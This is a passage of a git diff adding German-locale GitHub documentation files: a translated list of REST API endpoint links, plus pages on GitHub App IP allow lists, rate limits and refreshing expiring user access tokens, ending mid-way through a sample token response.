+* [Löschen einer Reaktion für einen Pull-Request-Kommentar](/rest/reactions#delete-a-pull-request-comment-reaction)
+* [Löschen einer Teamdiskussionsreaktion](/rest/reactions#delete-team-discussion-reaction)
+* [Löschen einer Reaktion auf einen Teamdiskussionskommentar](/rest/reactions#delete-team-discussion-comment-reaction)
+
+#### Repositorys
+
+* [Auflisten von Organisationsrepositorys](/rest/repos#list-organization-repositories)
+* [Erstellen eines Repositorys für den authentifizierten Benutzer](/rest/repos#create-a-repository-for-the-authenticated-user)
+* [Abrufen eines Repositorys](/rest/repos#get-a-repository)
+* [Aktualisieren eines Repositorys](/rest/repos#update-a-repository)
+* [Löschen eines Repositorys](/rest/repos#delete-a-repository)
+* [Vergleichen von zwei Commits](/rest/commits#compare-two-commits)
+* [Auflisten von Mitwirkenden eines Repositorys](/rest/repos#list-repository-contributors)
+* [Auflisten von Forks](/rest/repos#list-forks)
+* [Erstellen eines Forks](/rest/repos#create-a-fork)
+* [Auflisten von Repositorysprachen](/rest/repos#list-repository-languages)
+* [Auflisten von Repositorytags](/rest/repos#list-repository-tags)
+* [Auflisten von Repositoryteams](/rest/repos#list-repository-teams)
+* [Übertragen eines Repositorys](/rest/repos#transfer-a-repository)
+* [Auflisten öffentlicher Repositorys](/rest/repos#list-public-repositories)
+* [Auflisten von Repositorys für den authentifizierten Benutzer](/rest/repos#list-repositories-for-the-authenticated-user)
+* [Auflisten von Repositorys für einen Benutzer](/rest/repos#list-repositories-for-a-user)
+* [Erstellen eines Repositorys mithilfe einer Repositoryvorlage](/rest/repos#create-repository-using-a-repository-template)
+
+#### Repositoryaktivität
+
+* [Auflisten von Stargazern](/rest/activity#list-stargazers)
+* [Auflisten von Watchern](/rest/activity#list-watchers)
+* [Auflisten der von einem Benutzer markierten Repositorys](/rest/activity#list-repositories-starred-by-a-user)
+* [Überprüfen, ob ein Repository vom authentifizierten Benutzer markiert ist](/rest/activity#check-if-a-repository-is-starred-by-the-authenticated-user)
+* [Markieren eines Repositorys für den authentifizierten Benutzer](/rest/activity#star-a-repository-for-the-authenticated-user)
+* [Aufheben der Markierung eines Repositorys für den authentifizierten Benutzer](/rest/activity#unstar-a-repository-for-the-authenticated-user)
+* [Auflisten von Repositorys, die von einem Benutzer überwacht werden](/rest/activity#list-repositories-watched-by-a-user)
+
+{% ifversion fpt or ghec %}
+#### Automatisierte Sicherheitskorrekturen für Repositorys
+
+* [Aktivieren automatisierter Sicherheitskorrekturen](/rest/repos#enable-automated-security-fixes)
+* [Deaktivieren automatisierter Sicherheitskorrekturen](/rest/repos#disable-automated-security-fixes) {% endif %}
+
+#### Repositorybranches
+
+* [Auflisten von Branches](/rest/branches#list-branches)
+* [Abrufen von Branches](/rest/branches#get-a-branch)
+* [Abrufen von Branchschutz](/rest/branches#get-branch-protection)
+* [Aktualisieren von Branchschutz](/rest/branches#update-branch-protection)
+* [Löschen von Branchschutz](/rest/branches#delete-branch-protection)
+* [Abrufen von Administratorbranchschutz](/rest/branches#get-admin-branch-protection)
+* [Festlegen von Administratorbranchschutz](/rest/branches#set-admin-branch-protection)
+* [Löschen von Administratorbranchschutz](/rest/branches#delete-admin-branch-protection)
+* [Abrufen von Schutz für Pull-Request-Überprüfungen](/rest/branches#get-pull-request-review-protection)
+* [Aktualisieren von Schutz für Pull-Request-Überprüfungen](/rest/branches#update-pull-request-review-protection)
+* [Löschen von Schutz für Pull-Request-Überprüfungen](/rest/branches#delete-pull-request-review-protection)
+* [Abrufen von Schutz für Commitsignaturen](/rest/branches#get-commit-signature-protection)
+* [Erstellen von Schutz für Commitsignaturen](/rest/branches#create-commit-signature-protection)
+* [Löschen von Schutz für Commitsignaturen](/rest/branches#delete-commit-signature-protection)
+* [Abrufen von Schutz für Statusüberprüfungen](/rest/branches#get-status-checks-protection)
+* [Aktualisieren von Schutz für Statusüberprüfungen](/rest/branches#update-status-check-protection)
+* [Entfernen von Schutz für Statusüberprüfungen](/rest/branches#remove-status-check-protection)
+* [Abrufen aller Statusüberprüfungskontexte](/rest/branches#get-all-status-check-contexts)
+* [Hinzufügen von Statusüberprüfungskontexten](/rest/branches#add-status-check-contexts)
+* [Festlegen von Statusüberprüfungskontexten](/rest/branches#set-status-check-contexts)
+* [Entfernen von Statusüberprüfungskontexten](/rest/branches#remove-status-check-contexts)
+* [Abrufen von Zugriffseinschränkungen](/rest/branches#get-access-restrictions)
+* [Löschen von Zugriffseinschränkungen](/rest/branches#delete-access-restrictions)
+* [Auflisten von Teams mit Zugriff auf den geschützten Branch](/rest/repos#list-teams-with-access-to-the-protected-branch)
+* [Hinzufügen von Teamzugriffseinschränkungen](/rest/branches#add-team-access-restrictions)
+* [Festlegen von Teamzugriffseinschränkungen](/rest/branches#set-team-access-restrictions)
+* [Entfernen von Teamzugriffseinschränkungen](/rest/branches#remove-team-access-restrictions)
+* [Auflisten von Benutzereinschränkungen von geschützten Branches](/rest/repos#list-users-with-access-to-the-protected-branch)
+* [Hinzufügen von Benutzerzugriffseinschränkungen](/rest/branches#add-user-access-restrictions)
+* [Festlegen von Benutzerzugriffseinschränkungen](/rest/branches#set-user-access-restrictions)
+* [Entfernen von Benutzerzugriffseinschränkungen](/rest/branches#remove-user-access-restrictions)
+* [Zusammenführen einer Verzweigung](/rest/branches#merge-a-branch)
+
+#### Projektmitarbeiter für Repositorys
+
+* [Auflisten von Projektmitarbeitern für Repositorys](/rest/collaborators#list-repository-collaborators)
+* [Überprüfen, ob ein Benutzer ein Projektmitarbeiter für Repositorys ist](/rest/collaborators#check-if-a-user-is-a-repository-collaborator)
+* [Hinzufügen eines Projektmitarbeiters für Repositorys](/rest/collaborators#add-a-repository-collaborator)
+* [Entfernen eines Projektmitarbeiters für Repositorys](/rest/collaborators#remove-a-repository-collaborator)
+* [Abrufen von Repositoryberechtigungen für einen Benutzer](/rest/collaborators#get-repository-permissions-for-a-user)
+
+#### Commitkommentare für Repositorys
+
+* [Auflisten von Commitkommentaren für ein Repository](/rest/commits#list-commit-comments-for-a-repository)
+* [Abrufen eines Commitkommentars](/rest/commits#get-a-commit-comment)
+* [Aktualisieren eines Commitkommentars](/rest/commits#update-a-commit-comment)
+* [Löschen eines Commitkommentars](/rest/commits#delete-a-commit-comment)
+* [Auflisten von Commitkommentaren](/rest/commits#list-commit-comments)
+* [Erstellen eines Commitkommentars](/rest/commits#create-a-commit-comment)
+
+#### Repositorycommits
+
+* [Auflisten von Commits](/rest/commits#list-commits)
+* [Abrufen eines Commits](/rest/commits#get-a-commit)
+* [Auflisten von Branches für Head-Commit](/rest/commits#list-branches-for-head-commit)
+* [Auflisten von mit dem Commit verknüpften Pull Requests](/rest/repos#list-pull-requests-associated-with-commit)
+
+#### Repositorycommunity
+
+* [Abrufen der Verhaltensregeln für ein Repository](/rest/codes-of-conduct#get-the-code-of-conduct-for-a-repository) {% ifversion fpt or ghec %}
+* [Abrufen von Communityprofilmetriken](/rest/metrics#get-community-profile-metrics) {% endif %}
+
+#### Repositoryinhalte
+
+* [Herunterladen eines Repositoryarchivs](/rest/repos#download-a-repository-archive)
+* [Abrufen von Repositoryinhalt](/rest/repos#get-repository-content)
+* [Erstellen oder Aktualisieren von Dateiinhalten](/rest/repos#create-or-update-file-contents)
+* [Löschen von Dateien](/rest/repos#delete-a-file)
+* [Abrufen der Infodatei eines Repositorys](/rest/repos#get-a-repository-readme)
+* [Abrufen der Lizenz für ein Repository](/rest/licenses#get-the-license-for-a-repository)
+
+#### Repositoryereignisdispatches
+
+* [Erstellen eines Repositorydispatchereignisses](/rest/repos#create-a-repository-dispatch-event)
+
+#### Repositoryhooks
+
+* [Auflisten von Repositorywebhooks](/rest/webhooks#list-repository-webhooks)
+* [Erstellen eines Repositorywebhooks](/rest/webhooks#create-a-repository-webhook)
+* [Abrufen eines Repositorywebhooks](/rest/webhooks#get-a-repository-webhook)
+* [Aktualisieren eines Repositorywebhooks](/rest/webhooks#update-a-repository-webhook)
+* [Löschen eines Repositorywebhooks](/rest/webhooks#delete-a-repository-webhook)
+* [Pingen eines Repositorywebhooks](/rest/webhooks#ping-a-repository-webhook)
+* [Testen des Pushrepositorywebhooks](/rest/repos#test-the-push-repository-webhook)
+
+#### Repositoryeinladungen
+
+* [Auflisten von Repositoryeinladungen](/rest/collaborators#list-repository-invitations)
+* [Aktualisieren einer Repositoryeinladung](/rest/collaborators#update-a-repository-invitation)
+* [Löschen einer Repositoryeinladung](/rest/collaborators#delete-a-repository-invitation)
+* [Auflisten von Repositoryeinladungen für den authentifizierten Benutzer](/rest/collaborators#list-repository-invitations-for-the-authenticated-user)
+* [Akzeptieren einer Repositoryeinladung](/rest/collaborators#accept-a-repository-invitation)
+* [Ablehnen einer Repositoryeinladung](/rest/collaborators#decline-a-repository-invitation)
+
+#### Repositoryschlüssel
+
+* [Auflisten von Bereitstellungsschlüsseln](/rest/deployments#list-deploy-keys)
+* [Erstellen eines Bereitstellungsschlüssels](/rest/deployments#create-a-deploy-key)
+* [Abrufen eines Bereitstellungsschlüssels](/rest/deployments#get-a-deploy-key)
+* [Löschen eines Bereitstellungsschlüssels](/rest/deployments#delete-a-deploy-key)
+
+#### Repositoryseiten
+
+* [Abrufen einer GitHub Pages-Website](/rest/pages#get-a-github-pages-site)
+* [Erstellen einer GitHub Pages-Website](/rest/pages#create-a-github-pages-site)
+* [Aktualisieren von Informationen zu einer GitHub Pages-Website](/rest/pages#update-information-about-a-github-pages-site)
+* [Löschen einer GitHub Pages-Website](/rest/pages#delete-a-github-pages-site)
+* [Auflisten von GitHub Pages-Builds](/rest/pages#list-github-pages-builds)
+* [Anfordern eines GitHub Pages-Builds](/rest/pages#request-a-github-pages-build)
+* [Abrufen eines GitHub Pages-Builds](/rest/pages#get-github-pages-build)
+* [Abrufen des aktuellen Pages-Builds](/rest/pages#get-latest-pages-build)
+
+{% ifversion ghes %}
+#### Pre-Receive-Hooks für Repository
+
+* [Auflisten von Pre-Receive-Hooks für ein Repository](/enterprise/user/rest/enterprise-admin#list-pre-receive-hooks-for-a-repository)
+* [Abrufen eines Pre-Receive-Hooks für ein Repository](/enterprise/user/rest/enterprise-admin#get-a-pre-receive-hook-for-a-repository)
+* [Aktualisieren der Erzwingung eines Pre-Receive-Hooks für ein Repository](/enterprise/user/rest/enterprise-admin#update-pre-receive-hook-enforcement-for-a-repository)
+* [Entfernen der Erzwingung eines Pre-Receive-Hooks für ein Repository](/enterprise/user/rest/enterprise-admin#remove-pre-receive-hook-enforcement-for-a-repository) {% endif %}
+
+#### Repositoryreleases
+
+* [Releases auflisten](/rest/repos#list-releases)
+* [Erstellen eines Release](/rest/repos#create-a-release)
+* [Abrufen eines Release](/rest/repos#get-a-release)
+* [Aktualisieren eines Release](/rest/repos#update-a-release)
+* [Löschen eines Release](/rest/repos#delete-a-release)
+* [Auflisten von Releaseressourcen](/rest/repos#list-release-assets)
+* [Abrufen einer Releaseressource](/rest/repos#get-a-release-asset)
+* [Aktualisieren einer Releaseressource](/rest/repos#update-a-release-asset)
+* [Löschen einer Releaseressource](/rest/repos#delete-a-release-asset)
+* [Abrufen des aktuellen Release](/rest/repos#get-the-latest-release)
+* [Abrufen eines Release nach Tagnamen](/rest/repos#get-a-release-by-tag-name)
+
+#### Repositorystatistiken
+
+* [Abrufen der wöchentlichen Commitaktivität](/rest/metrics#get-the-weekly-commit-activity)
+* [Abrufen des letzten Jahres der Commitaktivität](/rest/metrics#get-the-last-year-of-commit-activity)
+* [Abrufen aller Commitaktivitäten für Mitwirkende](/rest/metrics#get-all-contributor-commit-activity)
+* [Abrufen der wöchentlichen Commitanzahl](/rest/metrics#get-the-weekly-commit-count)
+* [Abrufen der stündlichen Commitanzahl für jeden Tag](/rest/metrics#get-the-hourly-commit-count-for-each-day)
+
+{% ifversion fpt or ghec %}
+#### Sicherheitsrisikowarnungen für Repositorys
+
+* [Aktivieren von Sicherheitsrisikowarnungen](/rest/repos#enable-vulnerability-alerts)
+* [Deaktivieren von Sicherheitsrisikowarnungen](/rest/repos#disable-vulnerability-alerts) {% endif %}
+
+#### Root
+
+* [Stammendpunkt](/rest#root-endpoint)
+* [Emojis](/rest/emojis#emojis)
+* [Abrufen des Ratenbegrenzungsstatus für den authentifizierten Benutzer](/rest/rate-limit#get-rate-limit-status-for-the-authenticated-user)
+
+#### Suche
+
+* [Durchsuchen von Code](/rest/search#search-code)
+* [Durchsuchen von Commits](/rest/search#search-commits)
+* [Durchsuchen von Bezeichnungen](/rest/search#search-labels)
+* [Durchsuchen von Repositorys](/rest/search#search-repositories)
+* [Durchsuchen von Themen](/rest/search#search-topics)
+* [Benutzer suchen](/rest/search#search-users)
+
+#### Status
+
+* [Abrufen des kombinierten Status für einen bestimmten Verweis](/rest/commits#get-the-combined-status-for-a-specific-reference)
+* [Auflisten von Commitstatus für einen Verweis](/rest/commits#list-commit-statuses-for-a-reference)
+* [Erstellen eines Commitstatus](/rest/commits#create-a-commit-status)
+
+#### Teamdiskussionen
+
+* [Auflisten von Diskussionen](/rest/teams#list-discussions)
+* [Erstellen einer Diskussion](/rest/teams#create-a-discussion)
+* [Abrufen einer Diskussion](/rest/teams#get-a-discussion)
+* [Aktualisieren einer Diskussion](/rest/teams#update-a-discussion)
+* [Löschen einer Diskussion](/rest/teams#delete-a-discussion)
+* [Auflisten von Diskussionskommentaren](/rest/teams#list-discussion-comments)
+* [Erstellen eines Diskussionskommentars](/rest/teams#create-a-discussion-comment)
+* [Abrufen eines Diskussionskommentars](/rest/teams#get-a-discussion-comment)
+* [Aktualisieren eines Diskussionskommentars](/rest/teams#update-a-discussion-comment)
+* [Löschen eines Diskussionskommentars](/rest/teams#delete-a-discussion-comment)
+
+#### Themen
+
+* [Abrufen aller Repositorythemen](/rest/repos#get-all-repository-topics)
+* [Ersetzen aller Repositorythemen](/rest/repos#replace-all-repository-topics)
+
+{% ifversion fpt or ghec %}
+#### Verkehr
+
+* [Abrufen von Repositoryklonen](/rest/metrics#get-repository-clones)
+* [Abrufen der Top-Empfehlungspfade](/rest/metrics#get-top-referral-paths)
+* [Abrufen der Top-Empfehlungsquellen](/rest/metrics#get-top-referral-sources)
+* [Abrufen von Seitenansichten](/rest/metrics#get-page-views) {% endif %}
+
+{% ifversion fpt or ghec %}
+#### Benutzerblockierung
+
+* [Auflisten der vom authentifizierten Benutzer blockierten Benutzer](/rest/users#list-users-blocked-by-the-authenticated-user)
+* [Überprüfen, ob ein Benutzer vom authentifizierten Benutzer blockiert wurde](/rest/users#check-if-a-user-is-blocked-by-the-authenticated-user)
+* [Auflisten der von einer Organisation blockierten Benutzer](/rest/orgs#list-users-blocked-by-an-organization)
+* [Überprüfen, ob ein Benutzer von einer Organisation blockiert wurde](/rest/orgs#check-if-a-user-is-blocked-by-an-organization)
+* [Blockieren eines Benutzers aus einer Organisation](/rest/orgs#block-a-user-from-an-organization)
+* [Aufheben der Blockierung eines Benutzers aus einer Organisation](/rest/orgs#unblock-a-user-from-an-organization)
+* [Sperren eines Benutzers](/rest/users#block-a-user)
+* [Aufheben der Blockierung eines Benutzers](/rest/users#unblock-a-user) {% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+#### Benutzer-E-Mails
+
+{% ifversion fpt or ghec %}
+* [Festlegen der primären E-Mail-Sichtbarkeit für den authentifizierten Benutzer](/rest/users#set-primary-email-visibility-for-the-authenticated-user) {% endif %}
+* [Auflisten von E-Mail-Adressen für den authentifizierten Benutzer](/rest/users#list-email-addresses-for-the-authenticated-user)
+* [Hinzufügen von E-Mail-Adresse(n)](/rest/users#add-an-email-address-for-the-authenticated-user)
+* [Löschen von E-Mail-Adresse(n)](/rest/users#delete-an-email-address-for-the-authenticated-user)
+* [Auflisten öffentlicher E-Mail-Adressen für den authentifizierten Benutzer](/rest/users#list-public-email-addresses-for-the-authenticated-user) {% endif %}
+
+#### Benutzerfollower
+
+* [Auflisten der Follower eines Benutzers](/rest/users#list-followers-of-a-user)
+* [Auflisten der Personen, denen ein Benutzer folgt](/rest/users#list-the-people-a-user-follows)
+* [Überprüfen, ob der authentifizierte Benutzer einer Person folgt](/rest/users#check-if-a-person-is-followed-by-the-authenticated-user)
+* [Einem Benutzer folgen](/rest/users#follow-a-user)
+* [Einem Benutzer nicht mehr folgen](/rest/users#unfollow-a-user)
+* [Überprüfen, ob ein Benutzer einem anderen Benutzer folgt](/rest/users#check-if-a-user-follows-another-user)
+
+#### Benutzer-GPG-Schlüssel
+
+* [Auflisten von GPG-Schlüsseln für den authentifizierten Benutzer](/rest/users#list-gpg-keys-for-the-authenticated-user)
+* [Erstellen eines GPG-Schlüssels für den authentifizierten Benutzer](/rest/users#create-a-gpg-key-for-the-authenticated-user)
+* [Festlegen eines GPG-Schlüssels für den authentifizierten Benutzer](/rest/users#get-a-gpg-key-for-the-authenticated-user)
+* [Löschen eines GPG-Schlüssels für den authentifizierten Benutzer](/rest/users#delete-a-gpg-key-for-the-authenticated-user)
+* [Auflisten von GPG-Schlüsseln für einen Benutzer](/rest/users#list-gpg-keys-for-a-user)
+
+#### Öffentliche Schlüssel für Benutzer
+
+* [Auflisten der öffentlichen SSH-Schlüssel für den authentifizierten Benutzer](/rest/users#list-public-ssh-keys-for-the-authenticated-user)
+* [Erstellen eines öffentlichen SSH-Schlüssels für den authentifizierten Benutzer](/rest/users#create-a-public-ssh-key-for-the-authenticated-user)
+* [Abrufen eines öffentlichen SSH-Schlüssels für den authentifizierten Benutzer](/rest/users#get-a-public-ssh-key-for-the-authenticated-user)
+* [Löschen eines öffentlichen SSH-Schlüssels für den authentifizierten Benutzer](/rest/users#delete-a-public-ssh-key-for-the-authenticated-user)
+* [Auflisten öffentlicher Schlüssel für einen Benutzer](/rest/users#list-public-keys-for-a-user)
+
+#### Benutzer
+
+* [Abrufen des authentifizierten Benutzers](/rest/users#get-the-authenticated-user)
+* [Auflisten der mit dem Benutzerzugriffstoken zugänglichen App-Installationen](/rest/apps#list-app-installations-accessible-to-the-user-access-token) {% ifversion fpt or ghec %}
+* [Auflisten von Abonnements für den authentifizierten Benutzer](/rest/apps#list-subscriptions-for-the-authenticated-user) {% endif %}
+* [Auflisten von Benutzern](/rest/users#list-users)
+* [Abrufen eines Benutzers](/rest/users#get-a-user)
+
+{% ifversion fpt or ghec %}
+#### Workflowausführungen
+
+* [Auflisten der Workflowausführungen für ein Repository](/rest/actions#list-workflow-runs-for-a-repository)
+* [Abrufen einer Workflowausführung](/rest/actions#get-a-workflow-run)
+* [Abbrechen einer Workflowausführung](/rest/actions#cancel-a-workflow-run)
+* [Herunterladen von Workflowausführungsprotokollen](/rest/actions#download-workflow-run-logs)
+* [Löschen von Workflowausführungsprotokollen](/rest/actions#delete-workflow-run-logs)
+* [Erneutes Ausführen eines Workflows](/rest/actions#re-run-a-workflow)
+* [Auflisten von Workflowausführungen](/rest/actions#list-workflow-runs)
+* [Abrufen der Verwendung von Workflowausführungen](/rest/actions#get-workflow-run-usage) {% endif %}
+
+{% ifversion fpt or ghec %}
+#### Workflows
+
+* [Auflisten von Repositoryworkflows](/rest/actions#list-repository-workflows)
+* [Abrufen eines Workflows](/rest/actions#get-a-workflow)
+* [Abrufen der Workflowverwendung](/rest/actions#get-workflow-usage) {% endif %}
+
+## Weiterführende Themen
+
+- [Informationen zur Authentifizierung in {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github#githubs-token-formats)
+
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/index.md b/translations/de-DE/content/developers/apps/building-github-apps/index.md
new file mode 100644
index 0000000000..e05a26d259
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/index.md
@@ -0,0 +1,32 @@
+---
+title: Erstellen von GitHub-Apps
+intro: 'Du kannst GitHub-Apps für dich selbst oder andere erstellen. Erfahre, wie du Berechtigungen und Authentifizierungsoptionen für GitHub-Apps registrieren und einrichten kannst.'
+redirect_from:
+  - /apps/building-integrations/setting-up-and-registering-github-apps
+  - /apps/building-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+children:
+  - /creating-a-github-app
+  - /setting-permissions-for-github-apps
+  - /managing-allowed-ip-addresses-for-a-github-app
+  - /authenticating-with-github-apps
+  - /identifying-and-authorizing-users-for-github-apps
+  - /rate-limits-for-github-apps
+  - /refreshing-user-to-server-access-tokens
+  - /creating-a-github-app-from-a-manifest
+  - /creating-a-github-app-using-url-parameters
+  - /creating-a-custom-badge-for-your-github-app
+ms.openlocfilehash: ad6d995a68414247849ef52a96f576b755ca4541
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: '147876789'
+---
+
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md b/translations/de-DE/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
new file mode 100644
index 0000000000..52e1519479
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md
@@ -0,0 +1,37 @@
+---
+title: Managing allowed IP addresses for a GitHub App
+intro: 'You can add an IP allow list to your {% data variables.product.prodname_github_app %} to prevent your app from being blocked by an organization''s own allow list.'
+versions:
+  fpt: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Manage allowed IP addresses
+---
+
+## About IP address allow lists for {% data variables.product.prodname_github_apps %}
+
+Enterprise and organization owners can restrict access to assets by configuring an IP address allow list. This list specifies the IP addresses that are allowed to connect. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+
+When an organization has an allow list, third-party applications that connect via a {% data variables.product.prodname_github_app %} will be denied access unless both of the following are true:
+
+* The creator of the {% data variables.product.prodname_github_app %} has configured an allow list for the application that specifies the IP addresses at which their application runs. See below for details of how to do this.
+* The organization owner has chosen to permit the addresses in the {% data variables.product.prodname_github_app %}'s allow list to be added to their own allow list. For more information, see "[Managing allowed IP addresses for your organization](/{% ifversion fpt %}enterprise-cloud@latest/{% endif %}organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization#using-github-actions-with-an-ip-allow-list){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
+
+{% data reusables.apps.ip-allow-list-only-apps %}
+
+## Adding an IP address allow list to a {% data variables.product.prodname_github_app %}
+
+{% data reusables.identity-and-permissions.ipv6-allow-lists %}
+
+{% data reusables.apps.settings-step %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.github_apps %}
+{% data reusables.user-settings.modify_github_app %}
+1. Scroll down to the "IP allow list" section.
+![Basic information section for your GitHub App](/assets/images/github-apps/github-apps-allow-list-empty.png)
+{% data reusables.identity-and-permissions.ip-allow-lists-add-ip %}
+{% data reusables.identity-and-permissions.ip-allow-lists-add-description %}
+  The description is for your reference and is not used in the allow list of organizations where the {% data variables.product.prodname_github_app %} is installed. Instead, organization allow lists will include "Managed by the NAME GitHub App" as the description.
+{% data reusables.identity-and-permissions.ip-allow-lists-add-entry %}
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md b/translations/de-DE/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
new file mode 100644
index 0000000000..8f7e7bdec0
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md
@@ -0,0 +1,85 @@
+---
+title: Rate limits for GitHub Apps
+intro: '{% data reusables.shortdesc.rate_limits_github_apps %}'
+redirect_from:
+  - /early-access/integrations/rate-limits
+  - /apps/building-integrations/setting-up-and-registering-github-apps/about-rate-limits-for-github-apps
+  - /apps/building-github-apps/rate-limits-for-github-apps
+  - /apps/building-github-apps/understanding-rate-limits-for-github-apps
+  - /developers/apps/rate-limits-for-github-apps
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Rate limits
+---
+
+{% data reusables.enterprise.rate_limit %}
+
+{% data reusables.rest-api.always-check-your-limit %}
+
+{% ifversion ghec or fpt %}
+
+## About rate limits for apps
+
+Rate limits for {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} depend on the plan for the organization where you install the application. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)" and "[Types of {% data variables.product.company_short %} accounts](/get-started/learning-about-github/types-of-github-accounts#organization-accounts)."
+
+{% endif %}
+
+## Server-to-server requests
+
+{% ifversion ghec or fpt %}
+
+### Default server-to-server rate limits for {% data variables.product.prodname_dotcom_the_website %}
+
+{% endif %}
+
+{% data variables.product.prodname_github_apps %} making server-to-server requests use the installation's minimum rate limit of 5,000 requests per hour. If an application is installed on an organization with more than 20 users, the application receives another 50 requests per hour for each user. Installations that have more than 20 repositories receive another 50 requests per hour for each repository. The maximum rate limit for an installation is 12,500 requests per hour.
+
+{% ifversion fpt or ghec %}
+
+### Server-to-server rate limits for {% data variables.product.prodname_ghe_cloud %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+{% data variables.product.prodname_github_apps %} that are installed on an organization within an enterprise on {% data variables.location.product_location %} are subject to a limit of 15,000 requests per hour per organization that has installed the app.
+
+{% endif %}
+
+## User-to-server requests
+
+{% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} can also act on behalf of a user, making user-to-server requests after the user authorizes the app. For more information, see "[Authorizing {% data variables.product.prodname_github_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)" and "[Authorizing {% data variables.product.prodname_oauth_apps %}](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)."
+
+User-to-server requests from {% data variables.product.prodname_oauth_apps %} are authenticated with an OAuth token. User-to-server requests from {% data variables.product.prodname_github_apps %} are authenticated with either an OAuth token or an expiring user access token. For more information, see "[Identifying and authorizing users for {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#identifying-and-authorizing-users-for-github-apps)" and "[Authorizing {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps/authorizing-oauth-apps)."
+
+{% ifversion fpt or ghec %}
+
+### Default user-to-server rate limits for {% data variables.product.prodname_dotcom_the_website %}
+
+{% endif %}
+
+{% ifversion ghec %}
+
+The rate limits for user-to-server requests made by {% data variables.product.prodname_github_apps %} depend on where the app is installed. If the app is installed on organizations or repositories owned by an enterprise on {% data variables.location.product_location %}, then the rate is higher than for installations outside an enterprise.
+
+{% endif %}
+
+{% data reusables.apps.user-to-server-rate-limits %}
+
+{% ifversion fpt or ghec %}
+
+### User-to-server rate limits for {% data variables.product.prodname_ghe_cloud %}
+
+{% data reusables.apps.user-to-server-rate-limits-ghec %}
+
+{% endif %}
+
+## Further reading
+
+- "[Rate limiting](/rest/overview/resources-in-the-rest-api#rate-limiting)" in the REST API documentation
+- "[Resource limitations](/graphql/overview/resource-limitations)" in the GraphQL API documentation
diff --git a/translations/de-DE/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md b/translations/de-DE/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
new file mode 100644
index 0000000000..615bac5e4b
--- /dev/null
+++ b/translations/de-DE/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md
@@ -0,0 +1,81 @@
+---
+title: Refreshing user-to-server access tokens
+intro: 'To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens.'
+redirect_from:
+  - /apps/building-github-apps/refreshing-user-to-server-access-tokens
+  - /developers/apps/refreshing-user-to-server-access-tokens
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - GitHub Apps
+shortTitle: Refresh user-to-server access
+---
+{% data reusables.pre-release-program.expiring-user-access-tokens %}
+
+## About expiring user access tokens
+
+To enforce regular token rotation and reduce the impact of a compromised token, you can configure your {% data variables.product.prodname_github_app %} to use expiring user access tokens. For more information on making user-to-server requests, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/)."
+
+Expiring user tokens expire after 8 hours. When you receive a new user-to-server access token, the response will also contain a refresh token, which can be exchanged for a new user token and refresh token. Refresh tokens are valid for 6 months. 
+
+## Renewing a user token with a refresh token
+
+To renew an expiring user-to-server access token, you can exchange the `refresh_token` for a new access token and `refresh_token`.
+
+  `POST https://github.com/login/oauth/access_token`
+
+This callback request will send you a new access token and a new refresh token.  This callback request is similar to the OAuth request you would use to exchange a temporary `code` for an access token. For more information, see "[Identifying and authorizing users for GitHub Apps](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#2-users-are-redirected-back-to-your-site-by-github)" and "[Basics of authentication](/rest/guides/basics-of-authentication#providing-a-callback)."
+
+### Parameters
+
+Name | Type | Description
+-----|------|------------
+`refresh_token` | `string` | **Required.** The token generated when the  {% data variables.product.prodname_github_app %} owner enables expiring tokens and issues a new user access token.
+`grant_type` | `string` | **Required.** Value must be `refresh_token` (required by the OAuth specification).
+`client_id` | `string` | **Required.** The  client ID for your {% data variables.product.prodname_github_app %}.
+`client_secret` | `string`   | **Required.** The  client secret for your {% data variables.product.prodname_github_app %}.
+
+### Response
+
+```json
+{
+  "access_token": "ghu_16C7e42F292c6912E7710c838347Ae178B4a",
+  "expires_in": "28800",
